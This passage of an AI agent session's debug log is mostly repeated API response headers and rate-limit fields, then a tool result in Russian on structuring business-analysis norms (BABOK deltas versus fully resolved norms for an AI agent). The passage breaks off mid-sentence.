\"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:20.406Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.410Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:20.412Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:20.416Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:20.421Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:20.425Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:20.428Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:20.430Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:20.439Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.444Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:20.447Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:20.454Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:20.457Z] [STDOUT]     \"cf-ray\": \"a4295f90ca3b4d8b-FRA\",\n[2026-09-29T07:46:20.461Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:20.466Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:20.471Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:20.474Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:20.478Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:19 GMT\",\n[2026-09-29T07:46:20.484Z] [STDOUT]     \"request-id\": \"req_011CfXMphwVUYQVZ2K7oC1NB\",\n[2026-09-29T07:46:20.487Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:20.489Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:20.495Z] [STDOUT]     traceresponse: \"00-03e73aaa98b686d5a61c9aafdb3c4a5c-2f091ef8491d2a7a-01\",\n[2026-09-29T07:46:20.501Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:20.506Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:20.511Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:20.514Z] [STDOUT]   },\n[2026-09-29T07:46:20.520Z] [STDOUT]   durationMs: 917,\n[2026-09-29T07:46:20.530Z] [STDOUT] }\n[2026-09-29T07:46:20.537Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:20.542Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:19 GMT\",\n[2026-09-29T07:46:20.546Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:20.549Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:20.551Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:20.553Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:20.557Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:20.561Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:20.565Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:20.570Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:20.575Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:20.578Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:20.584Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:20.588Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:20.591Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:20.596Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:20.600Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:20.615Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.618Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:20.620Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:20.626Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:20.630Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:20.636Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.639Z] [STDOUT]   \"request-id\": \"req_011CfXMphwVUYQVZ2K7oC1NB\",\n[2026-09-29T07:46:20.643Z] [STDOUT]   \"traceresponse\": \"00-03e73aaa98b686d5a61c9aafdb3c4a5c-2f091ef8491d2a7a-01\",\n[2026-09-29T07:46:20.647Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:20.653Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:20.657Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:20.659Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:20.663Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:20.665Z] [STDOUT]   \"cf-ray\": \"a4295f90ca3b4d8b-FRA\",\n[2026-09-29T07:46:20.670Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:20.673Z] [STDOUT] [log_2d43f8] response parsed {\n[2026-09-29T07:46:20.676Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:20.681Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:20.686Z] [STDOUT]   body: X {\n[2026-09-29T07:46:20.688Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:20.691Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:20.703Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:20.716Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:20.720Z] [STDOUT]     },\n[2026-09-29T07:46:20.725Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:20.735Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:20.738Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:20.741Z] [STDOUT]   },\n[2026-09-29T07:46:20.749Z] [STDOUT]   durationMs: 918,\n[2026-09-29T07:46:20.754Z] [STDOUT] }\n[2026-09-29T07:46:20.762Z] [STDOUT] [log_f389f8, request-id: \"req_011CfXMpkKrqZVTNvVK5fx3W\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 888ms\n[2026-09-29T07:46:20.769Z] [STDOUT] [log_f389f8] response start {\n[2026-09-29T07:46:20.774Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:20.777Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:20.780Z] [STDOUT]   headers: {\n[2026-09-29T07:46:20.784Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:20.788Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:20.792Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:20.799Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:20.804Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:20.813Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.818Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:20.826Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:20.828Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:20.830Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:20.832Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:20.835Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:20.838Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:20.842Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.847Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:20.853Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:20.856Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:20.860Z] [STDOUT]     \"cf-ray\": \"a4295f94398e29ad-FRA\",\n[2026-09-29T07:46:20.865Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:20.869Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:20.872Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:20.877Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:20.879Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:19 GMT\",\n[2026-09-29T07:46:20.881Z] [STDOUT]     \"request-id\": \"req_011CfXMpkKrqZVTNvVK5fx3W\",\n[2026-09-29T07:46:20.884Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:20.887Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:20.888Z] [STDOUT]     traceresponse: \"00-aa913496c4df5341652a7e6f85f70ba1-bea15a70333580d1-01\",\n[2026-09-29T07:46:20.895Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:20.898Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:20.900Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:20.903Z] [STDOUT]   },\n[2026-09-29T07:46:20.905Z] [STDOUT]   durationMs: 888,\n[2026-09-29T07:46:20.908Z] [STDOUT] }\n[2026-09-29T07:46:20.916Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:20.920Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:19 GMT\",\n[2026-09-29T07:46:20.925Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:20.933Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:20.944Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:20.949Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:20.954Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:20.964Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:20.972Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:20.980Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:20.987Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:20.993Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:21.005Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:21.018Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:21.026Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:21.034Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:21.041Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:21.052Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.055Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:21.063Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:21.069Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:21.095Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:21.104Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:21.113Z] [STDOUT]   \"request-id\": \"req_011CfXMpkKrqZVTNvVK5fx3W\",\n[2026-09-29T07:46:21.120Z] [STDOUT]   \"traceresponse\": \"00-aa913496c4df5341652a7e6f85f70ba1-bea15a70333580d1-01\",\n[2026-09-29T07:46:21.124Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:21.141Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:21.146Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:21.157Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:21.171Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:21.174Z] [STDOUT]   \"cf-ray\": \"a4295f94398e29ad-FRA\",\n[2026-09-29T07:46:21.178Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:21.182Z] [STDOUT] [log_f389f8] response parsed {\n[2026-09-29T07:46:21.192Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:21.200Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:21.206Z] [STDOUT]   body: X {\n[2026-09-29T07:46:21.216Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:21.224Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:21.228Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:21.230Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:21.233Z] [STDOUT]     },\n[2026-09-29T07:46:21.254Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:21.262Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:21.267Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:21.273Z] [STDOUT]   },\n[2026-09-29T07:46:21.280Z] [STDOUT]   durationMs: 889,\n[2026-09-29T07:46:21.287Z] [STDOUT] }\n[2026-09-29T07:46:21.299Z] [INFO] {\n[2026-09-29T07:46:21.299Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:21.299Z] [INFO]   \"message\": {\n[2026-09-29T07:46:21.299Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:21.299Z] [INFO]     \"id\": \"msg_011CfXMpijcTVczNieL2DMdp\",\n[2026-09-29T07:46:21.299Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:21.299Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:21.299Z] [INFO]     \"content\": [\n[2026-09-29T07:46:21.299Z] [INFO]       {\n[2026-09-29T07:46:21.299Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:21.299Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:21.299Z] [INFO]         \"signature\": \"CAQSpAUKEAgSGAI4AUIIdGhpbmtpbmcSDJb+b6CinMStdDC4fxoMqjngr1YkkzMjPPqxIjAoiGbLuxg87wkFqzQaw8BV4o+OiatuG5wXAeoaz/YGqUOaYknU6Rf1f2tkDQS45N0qwQQe9FLpzhe13YtZySE0RLqgPiR4ndfSSf/BVpj8iFGqn5HDCZWHW1ttMk0V2uqacng+j+Q5qKxrwBCS6l/IMF19wwsxWdRpVBnAUz0HpqM12Bi/r0zKIKZzehcX1uQpa8WolCfS6DB8LItKI4S5OorMivLkGGzPXy0XsSG0Cirk7KhdTiQxx+OeoR/nBiHLV02BXiJkjmLptrE1iUhb/n1tO14k9CIOS4cMwwNIl5cXMPxWjaLztuJMKa9g05kqgE/Mnyao9eoKeM8+YMRea/zZ5k7BS8ZiEuUgtmwT8eUNNX2dS02/H18MnCmG/u+8Lk9n57n1AO/RTkMSUXHl17O2SHV1Wj0CjBHRkdtaHGucve24qY/vklCDN7xLpDQ3IT42zrbfGmYJPAwn92WvUhPhLUNNBPoNEee4VefdujjJIc2ElBjmznwD84xlWjJzjarKP2FZrE3qnuorneTVr74lN4g5BB4ruXn5qeiWJ1VaAbiPLLo90waQpv5pkuUybGvntbQmfmp62n0YqxX6s8eL37WdHYdXII2QBgkr+vwodXM9rEu4cQIjP4I7SEgibLH4UW+9I7eZWlFWKZ2Zo28d+lVKJBu9IQa8Jw/a+fY4X/5nGt1YxtddHcUVB2TjYU9J1922hrJ3Oyn7jS7LMJH+FQWspdfYp/hAJLbZpIf4xXdRKljQEhC9hPhVix8eUXJrV4JyTrXwJ1KwtX/Fe6wN7wmYB3gpnroutqC4mMlJFItfmU4fPc4NxIeMez7VYiSeGAE=\"\n[2026-09-29T07:46:21.299Z] [INFO]       }\n[2026-09-29T07:46:21.299Z] [INFO]     ],\n[2026-09-29T07:46:21.299Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:21.299Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:21.299Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:21.299Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:21.299Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:21.299Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:21.299Z] [INFO]       \"cache_creation_input_tokens\": 14391,\n[2026-09-29T07:46:21.299Z] [INFO]       \"cache_read_input_tokens\": 14441,\n[2026-09-29T07:46:21.299Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:21.299Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:21.299Z] [INFO]         \"ephemeral_1h_input_tokens\": 14391\n[2026-09-29T07:46:21.299Z] [INFO]       },\n[2026-09-29T07:46:21.299Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:21.299Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:21.299Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:21.299Z] [INFO]     },\n[2026-09-29T07:46:21.299Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:21.299Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:46:21.299Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:46:21.299Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:46:21.299Z] [INFO]         \"cache_missed_input_tokens\": 14136\n[2026-09-29T07:46:21.299Z] [INFO]       }\n[2026-09-29T07:46:21.299Z] [INFO]     },\n[2026-09-29T07:46:21.299Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:21.299Z] [INFO]   },\n[2026-09-29T07:46:21.299Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:21.299Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:21.299Z] [INFO]   \"uuid\": \"203352e2-3b78-42ae-94cb-b6e4a13cf6e9\",\n[2026-09-29T07:46:21.299Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:19.969Z\",\n[2026-09-29T07:46:21.299Z] [INFO]   \"request_id\": \"req_011CfXMphwVUYQVZ2K7oC1NB\"\n[2026-09-29T07:46:21.299Z] [INFO] }\n[2026-09-29T07:46:21.310Z] [INFO] {\n[2026-09-29T07:46:21.310Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:21.310Z] [INFO]   \"message\": {\n[2026-09-29T07:46:21.310Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:21.310Z] [INFO]     \"content\": [\n[2026-09-29T07:46:21.310Z] [INFO]       {\n[2026-09-29T07:46:21.310Z] [INFO]         \"tool_use_id\": \"toolu_01Gkrt9W557wvgtf853e42FY\",\n[2026-09-29T07:46:21.310Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:21.310Z] [INFO]         \"content\": \"## 1. \u0417\u0430\u0434\u0430\u0447\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0440\u0435\u0448\u0430\u0435\u0442 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u0435\u0439\\n\\n\u041c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u0411\u0410 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u0438\u0442\u044c \u0434\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u044f\u043d\u0443\u0442 \u0432 \u0440\u0430\u0437\u043d\u044b\u0435\\n\u0441\u0442\u043e\u0440\u043e\u043d\u044b.\\n\\n| \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 | \u041a\u043e\u043c\u0443 | \u0427\u0442\u043e \u0434\u0438\u043a\u0442\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0435 |\\n| --- | --- | --- |\\n| **\u041f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0440\u043c\u044b** | \u0427\u0435\u043b\u043e\u0432\u0435\u043a\u0443: \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0443, \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0443, \u043d\u043e\u0432\u043e\u043c\u0443 \u0411\u0410 | \u041d\u043e\u0440\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043a\u0430\u043a **\u0434\u0435\u043b\u044c\u0442\u0443** \u043a \u0432\u043d\u0435\u0448\u043d\u0435\u043c\u0443 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0443: \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0432\u0437\u044f\u0442\u043e \u0438\u0437 BABOK, \u0447\u0442\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u043e\u0442\u0440\u0430\u0441\u043b\u044c, \u0447\u0442\u043e \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430, \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 |\\n| **\u041e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f** | \u0418\u0418-\u0430\u0433\u0435\u043d\u0442\u0443 | \u041d\u043e\u0440\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u0430\u0442\u044c **\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0439**: \u0431\u0435\u0437 \u043e\u0442\u0441\u044b\u043b\u043e\u043a \u00ab\u0441\u043c. \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u00bb, \u0431\u0435\u0437 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0439 \u00ab\u0447\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u0435\u0435\u00bb, \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0443 |\\n\\n\u042d\u0442\u043e \u0432 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u00ab\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u043e\u0442\u0438\u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430\u00bb. \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u0438\u0442\u044c\\n\u043e\u0431\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0434\u043d\u0438\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c \u0434\u0430\u0451\u0442 \u043e\u0434\u0438\u043d \u0438\u0437 \u0434\u0432\u0443\u0445 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u043b\u043e\u0432:\\n\\n- **\u041f\u0440\u043e\u0432\u0430\u043b \u0410 (\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u043b\u044c\u0442\u044b).** \u0410\u0433\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0442\u0440\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e\\n  \u00ab\u043f\u0440\u0438\u043c\u0435\u043d\u0438 \u0434\u0435\u043b\u044c\u0442\u044b\u00bb. \u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u044c\u0442 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0430\u043a\u0442\u043e\u043c \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438,\\n  \u0442\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c: \u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c.\\n  \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u2014 65,8 % \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 `draft` \u043f\u0440\u0438\\n  13 % \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445: \u0441\u043f\u043e\u0440 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0440\u043c\u043e\u0439, \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0442.\\n- **\u041f\u0440\u043e\u0432\u0430\u043b \u0411 (\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u043e\u0434).** \u0410\u0433\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0434\u0438\u043d 